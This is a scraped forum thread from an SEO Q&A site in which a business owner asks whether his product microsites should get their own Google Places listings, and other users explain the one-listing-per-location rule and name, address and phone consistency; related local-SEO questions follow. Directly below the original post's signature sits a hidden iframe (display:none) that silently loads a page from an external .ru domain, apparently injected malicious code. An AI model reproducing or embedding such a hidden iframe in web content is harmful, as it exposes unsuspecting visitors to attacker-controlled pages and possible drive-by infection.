Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
-
Hi All,
I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places .
I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business
I only have one google account so I guess this would be done under the same google account ?
thanks
Pete
<iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
-
Good luck Pete!
-
Many thanks all for your answers. This has helped me a lot to understand how google local/places work.
-
Great points Miriam!
Peter, the other thing I've seen happen with microsites - using Miriam's example...
If Google finds the compost microsite, then sometimes she'll change the link on your G+ L page to the compost site. Now all you rank for is compost and you lose rankings for all the other KWs that were on the main site.
I've had consultants contact support about that problem and support says: There is nothing we can do if the algo finds another one of your sites. The only way to be sure the algo links to the correct site is to only have one site.
-
Hi Peter,
Thank you so much for providing additional clarification about your business model. This has made offering guidance a much clearer task! I'll break my reply into two parts:
-
Google's rule is one listing per business, per location. So, it doesn't matter how many additional websites you may have for a single location. You are only allowed to have 1 Google+ Local listing per business, per location. Do not build more than one listing for any physical location you have. This would be forbidden.
-
You should be publishing your business NAP (business name, address, phone number) on only one website per location in order to avoid the woes of NAP inconsistency which can tank your local rankings. So, just for example, your main website sells lawnmowers, garden seeds and compost to walk-in customers in Phoenix, Arizona. You've got your complete NAP on this website, letting Google know that your NAP is associated with these products and phoenixgardencenter.com
What happens, then, if Google then finds your complete or partial NAP on your microsite specializing in just compost, compostcity.com? Google pauses and says, "Wait a minute! I thought this phone number and street address belonged to phoenixgardencenter.com. What the heck is this compostcity thing?" The result: confusion on the part of Google about the trustworthiness of the data they have in their cluster about your business. The possible outcome: merged listings, duplicate listings and ranking failures.
So - in sum - only 1 Google+ Local page for any physical location you have and no shared NAP between websites. If you want to run microsites, better get 800 numbers for them or something like that in an attempt to differentiate them from your true local sites, and do be sure, of course, that you are not duplicating content or anything else between more than one site:)
Hope this helps!
-
-
Many thanks all.
We do have physical locations that the customer can visit. My only concern was that I use a number of different websites for our products.
The main website already has google places listings showing all our locations but other my mini websites which have a selection of the same products as my main website on have not got google places listing as yet.
Basically, I thought my having a few websites, in essence competing with other , it would help me get more coverage in serps etc.
thanks
Peter
-
Hi Pete!
You're getting quality feedback from the community here. As Chris and Linda have mentioned, Google's local product is intended for local businesses that make face-to-face contact with their customers. If yours is an e-commerce business (a virtual business) then getting listed in Google's local product would actually be a violation of their policies. If there's some chance that we're misunderstanding your business model, please do offer further details!
-
I was just coming to say something like the 1st part of what Chris said. Google local listings are for physical locations, does not matter how many sites you have.
Since you mentioned ecomm wanted to say that online only businesses do not qualify for a Google Local listing - it's not allowed. But if any of the locations do business face to face with customers locally, then they can have a local page. And yes if all the same company, it's fine to have all listings in the same account.
-
Pete,
You don't set up Google My Business (ex Google Places) for websites, you set it up for the business itself. A business location that has a unique Name, Address, Phone number can take advantage of Google maps search, as well as verify a Google Plus page but a business without a published NAP is technically not permitted to do so by Google. Check out
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Which URL and rel=canonical structure to use for location based product inventory pages?
I am working on an automotive retailer site that displays local car inventory in nearby dealerships based on location. Within the site, a zip code is required to search, and the car inventory is displayed in a typical product list that can be filtered and sorted by the searcher to fit the searchers needs. We would like to structure these product inventory list pages that are based on location to give the best chance at ranking, if not now, further down the road when we have built up more authority to compete with the big dogs in SERP like AutoTrader.com, TrueCar.com, etc. These higher authority sites are able to rank their location based car inventory pages on the first page consistently across all makes and models. For example, searching the term "new nissan rogue" in the Los Angeles, CA area returns a few location based inventory pages on page 1. The sites in the industry that are able to rank their inventory pages will display a relatively clean looking URL with no redirect that still displays the local inventory like this in the SERP:
Local Website Optimization | | tdastru
https://www.autotrader.com/cars-for-sale/New+Cars/Nissan/Rogue
but almost always use a rel=canonical tag within the page to a page with a location parameter attached to the end of the URL like this one:
https://www.autotrader.com/cars-for-sale/New+Cars/Nissan/Rogue/Los+Angeles+CA-90001"/>
I'm having a hard time figuring out why sites like this example have their URLs and pages structured this way. What would be the best practice for structuring the URL and rel=canonical tags to be able to rank for and display location based inventory pages for cars near the searcher?0 -
I've submitted my site to google search console, and only 6 images of 89 images have been indexed in 2 weeks. Should I be worried?
I've submitted my site to google search console, and only 6 images of 89 images have been indexed in 2 weeks. Should I be worried? My site is http://bayareahomebirth.org Images are a pretty big part of this site's content and SEO value. Thanks for your help!
Local Website Optimization | | mattchew0 -
Duplicate Content - Local SEO - 250 Locations
Hey everyone, I'm currently working with a client that has 250 locations across the United States. Each location has its own website and each website has the same 10 service pages. All with identical content (the same 500-750 words) with the exception of unique meta-data and NAP which has each respective location's name, city, state, etc. I'm unsure how duplicate content works at the local level. I understand that there is no penalty for duplicate content, rather, any negative side-effects are because search engines don't know which page to serve, if there are duplicates. So here's my question: If someone searches for my client's services in Miami, and my client only as one location in that city, does duplicate content matter? Because that location isn't competing against any of my client's other locations locally, so search engines shouldn't be confused by which page to serve, correct? Of course, in other cities, like Phoenix, where they have 5 locations, then I'm sure the duplicate content is negatively affecting all 5 locations. I really appreciate any insight! Thank you,
Local Website Optimization | | SEOJedi510 -
Website ranking issues
Hi Moz, I have a question about one of our websites that has been ranking very poorly on it's current domain (fancydoorsedmonton.com) lately, but was ranked at #1 for the search term "Edmonton Doors" until last month. The main search terms we're targeting are "Edmonton Doors" and "Doors Edmonton". I made another post regarding the on-page SEO value and had some feedback from that, but there is another issue that seems more likely to cause an issue. There are 2 more domains set up to forward to their main domain: fancydoors.com was their old domain but was registered by someone else and had some questionable, X-rated content put on it. The domain has now been reacquired and redirected to their main domain. There isn't any more questionable content on there anymore. Would this domain's past affect it's current ranking? fancy-doors.com was another old domain of theirs now set up as a redirect. In the past they had another SEO provider work with this domain and did some bad SEO work for them with automated citations, etc. We changed the domain to fancydoorsedmonton.com to get away from that and also include Edmonton in the domain. If you have any ideas or feedback to provide based on this information it would definitely be a huge help to us. Thanks!
Local Website Optimization | | Web3Marketing870 -
Our Website is showing on the 11th place on Google Map
Hello, We are a photo studio in New York City, our website is
Local Website Optimization | | YourHollywoodPortrait
and our Google Plus page is http://yourhollywoodportrait.com/ https://plus.google.com/+YourHollywoodPortraitStudioNewYork When doing a search in maps for Boudoir Photography New York City we don't appear in the first 10 results, there is even a studio from New Jersey appearing before us. We have only 5* reviews, we did a bunch of local citations and still we are not in the first page of maps. Would you have any suggestions as to what we are doing wrong or should be doing? Thanks a lot for your help! Michael0 -
Australian local business website on a dot.com - how do I ensure its indexed/ranked by Google.com/au as priority
look forward to your advice My client is a local business in australia but has a dotcom site which is hosted in US. We are just moving it to wordpress and new hosting. I want to ensure that Google.com/au will be able to index and rank the content. How can I tell google its a site for people in australia? I thought best to set up a subfolder like this hissite.com/au and redirect anyone from australia to go to this url? Thanks for your recommendations
Local Website Optimization | | bisibee10 -
Duplicate content on a proxy site?
I have a local client with a 500 page site.
Local Website Optimization | | TFinder
They advertise online and use traditional media like direct mail.
A print media company, Valpak, has started a website
And wants the client to use their trackable phone number
And a proxy website. When I type the proxy domain in the browser
It appears to be client home page at this proxy URL. The vendor
Wishes to track activity on its site to prove their value or something
My question is: is their any "authority" risk to my clients website
By allowing this proxy site??0 -
Reconsideration request failed - New website?
I am looking at website with MOZ PA 34. The website belong to a shop in Manhattan. Simple shop, simple man, not one that do tricks. Reconsideration request failed twice! Never happened to me in the past.. Google ignored some domains in the two disavow files we submitted. All of these domains are asking $ to remove links that as much as I know we didn't even bought 😞 My Question Can I create a brand new domain/website and transfer the PA juice WITHOUT the bad links?
Local Website Optimization | | Elchanan0